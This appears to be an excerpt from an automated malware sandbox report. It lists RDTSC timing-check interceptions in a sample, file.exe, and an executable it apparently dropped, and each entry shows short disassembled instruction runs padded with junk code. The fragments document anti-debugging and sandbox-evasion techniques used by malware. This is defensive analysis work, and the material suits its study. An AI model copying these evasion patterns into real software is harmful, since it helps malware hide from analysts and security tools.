Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCDEC second address: 7FCE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F1458521ABDh 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1458521AC8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCE1D second address: 7FCE23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80077B second address: 80078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802AB second address: 4E802AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802AF second address: 4E802CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802CA second address: 4E8032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bl, ch 0x0000000d mov bh, 89h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F145915A7CBh 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F145915A7CBh 0x00000020 and ah, 0000005Eh 0x00000023 jmp 00007F145915A7D9h 0x00000028 popfd 0x00000029 push eax 0x0000002a pop edx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8032A second address: 4E80330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80391 second address: 4E80397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80397 second address: 4E8039B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8039B second address: 4E803BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ax, 01FDh 0x00000012 push eax 0x00000013 push edx 0x00000014 movzx eax, di 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7109A4 second address: 7109AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7109AA second address: 7109AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80418 second address: 4E804A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1458521ABCh 0x00000011 add si, 51F8h 0x00000016 jmp 00007F1458521ABBh 0x0000001b popfd 0x0000001c mov ecx, 3B757B2Fh 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 mov ecx, 7018A57Dh 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b jmp 00007F1458521AC8h 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F1458521ABEh 0x00000039 or ax, B6B8h 0x0000003e jmp 00007F1458521ABBh 0x00000043 popfd 0x00000044 pushad 0x00000045 push eax 0x00000046 pop ebx 0x00000047 push esi 0x00000048 pop edi 0x00000049 popad 0x0000004a popad 0x0000004b pop ebp 0x0000004c pushad 0x0000004d movzx ecx, dx 0x00000050 push eax 0x00000051 push edx 0x00000052 mov edx, 2EA6F118h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8052B second address: 4E80531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80531 second address: 4E80535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80535 second address: 4E80558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F145915A7D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80558 second address: 4E80596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1458521ABBh 0x00000016 add si, 900Eh 0x0000001b jmp 00007F1458521AC9h 0x00000020 popfd 0x00000021 mov ch, 11h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80596 second address: 4E805BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F145915A7CBh 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805BC second address: 4E805EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F14C8FC54DEh 0x0000000e push 759227D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [759B0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 mov si, DE3Dh 0x00000058 mov ecx, 20E52139h 0x0000005d popad 0x0000005e and dword ptr [ebp-04h], 00000000h 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F1458521ABBh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805EB second address: 4E8065C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F145915A7CFh 0x00000009 and ax, C8DEh 0x0000000e jmp 00007F145915A7D9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F145915A7D0h 0x0000001a add si, 08D8h 0x0000001f jmp 00007F145915A7CBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov edx, dword ptr [ebp+0Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F145915A7D5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8065C second address: 4E806C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 jmp 00007F1458521AC3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov esi, edx 0x0000000f jmp 00007F1458521AC6h 0x00000014 mov al, byte ptr [edx] 0x00000016 jmp 00007F1458521AC0h 0x0000001b inc edx 0x0000001c pushad 0x0000001d jmp 00007F1458521ABEh 0x00000022 call 00007F1458521AC2h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806C5 second address: 4E806C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 test al, al 0x00000008 pushad 0x00000009 movsx edi, si 0x0000000c popad 0x0000000d jne 00007F145915A77Dh 0x00000013 mov al, byte ptr [edx] 0x00000015 jmp 00007F145915A7D0h 0x0000001a inc edx 0x0000001b pushad 0x0000001c jmp 00007F145915A7CEh 0x00000021 call 00007F145915A7D2h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806E6 second address: 4E806EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806EC second address: 4E8074F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c mov si, dx 0x0000000f jmp 00007F145915A7D3h 0x00000014 popad 0x00000015 mov edi, dword ptr [ebp+08h] 0x00000018 jmp 00007F145915A7D6h 0x0000001d dec edi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov bl, 87h 0x00000023 call 00007F145915A7D6h 0x00000028 pop eax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8074F second address: 4E8076C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8076C second address: 4E80770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80770 second address: 4E8078D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8078D second address: 4E80814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 push ebx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f mov edi, 7222A4D6h 0x00000014 pushfd 0x00000015 jmp 00007F145915A7D7h 0x0000001a or esi, 377B695Eh 0x00000020 jmp 00007F145915A7D9h 0x00000025 popfd 0x00000026 popad 0x00000027 inc edi 0x00000028 pushad 0x00000029 mov ax, 85C3h 0x0000002d pushfd 0x0000002e jmp 00007F145915A7D8h 0x00000033 xor ah, FFFFFF88h 0x00000036 jmp 00007F145915A7CBh 0x0000003b popfd 0x0000003c popad 0x0000003d test al, al 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov edx, 03F718F6h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80814 second address: 4E8082E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1458521AC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8082E second address: 4E808BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F14C9BF2A06h 0x00000011 pushad 0x00000012 push ecx 0x00000013 mov esi, edi 0x00000015 pop edi 0x00000016 mov cx, A963h 0x0000001a popad 0x0000001b mov ecx, edx 0x0000001d jmp 00007F145915A7D6h 0x00000022 shr ecx, 02h 0x00000025 pushad 0x00000026 mov cx, 1DFDh 0x0000002a mov si, 9CF9h 0x0000002e popad 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 jmp 00007F145915A7D4h 0x0000003e mov ecx, edx 0x00000040 jmp 00007F145915A7D0h 0x00000045 and ecx, 03h 0x00000048 jmp 00007F145915A7D0h 0x0000004d rep movsb 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 mov si, di 0x00000055 movsx edi, si 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808BB second address: 4E808C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808C1 second address: 4E80908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 jmp 00007F145915A7CEh 0x00000017 mov eax, ebx 0x00000019 jmp 00007F145915A7D0h 0x0000001e mov ecx, dword ptr [ebp-10h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov esi, edx 0x00000026 mov bx, B16Ch 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80908 second address: 4E80935 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 movzx ecx, dx 0x00000014 push edx 0x00000015 mov esi, 71A7E015h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop ecx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A31 second address: 4E80A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F145915A7D5h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1FD08 second address: B1FD0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1FD0D second address: B1FD14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1FD14 second address: B1FD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F1458521AB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1ECCB second address: B1ECCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1ECCF second address: B1ECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1458521AC1h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F1458521ABCh 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1ECF8 second address: B1ED08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jbe 00007F145915A7C6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F37B second address: B1F37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F37F second address: B1F383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F383 second address: B1F38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1458521AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F38F second address: B1F397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F397 second address: B1F39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F578 second address: B1F57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F57E second address: B1F587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F587 second address: B1F58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F58B second address: B1F5A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F5A7 second address: B1F5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F145915A7C6h 0x0000000a je 00007F145915A7C6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F145915A7CDh 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B1F5C9 second address: B1F5CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B226EB second address: B226F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B226F1 second address: B226F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B227EA second address: B227F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B227F0 second address: B2280E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F1458521AB6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B2280E second address: B22814 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B22814 second address: B22826 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F1458521AB6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ecx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B22826 second address: B22843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F145915A7CEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B228DF second address: B228E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B228E4 second address: B2295B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D2C20h] 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 jmp 00007F145915A7D0h 0x00000016 jmp 00007F145915A7CDh 0x0000001b popad 0x0000001c push F2CFC838h 0x00000021 jnp 00007F145915A7D2h 0x00000027 add dword ptr [esp], 0D303848h 0x0000002e mov edi, dword ptr [ebp+122D3A3Eh] 0x00000034 push 00000003h 0x00000036 push edi 0x00000037 sub dword ptr [ebp+122D19FDh], ecx 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 mov edx, dword ptr [ebp+122D3926h] 0x00000046 push 00000003h 0x00000048 mov dword ptr [ebp+122D18DDh], edx 0x0000004e push 7A44591Bh 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B420E6 second address: B420F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 jbe 00007F1458521AB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B40395 second address: B40399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B40613 second address: B4062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4062C second address: B4063A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4063A second address: B4063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B4063E second address: B4064D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B407C0 second address: B407C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B407C8 second address: B407CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41272 second address: B41276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41276 second address: B412A2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F145915A7C6h 0x00000008 jmp 00007F145915A7D8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F145915A7C6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41807 second address: B41811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41811 second address: B41825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F145915A7C6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41825 second address: B41850 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1458521AB8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1458521AC9h 0x00000011 jne 00007F1458521AB6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41F71 second address: B41F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B41F75 second address: B41F85 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1458521AB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	RDTSC instruction interceptor: First address: B42F1D second address: B42F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
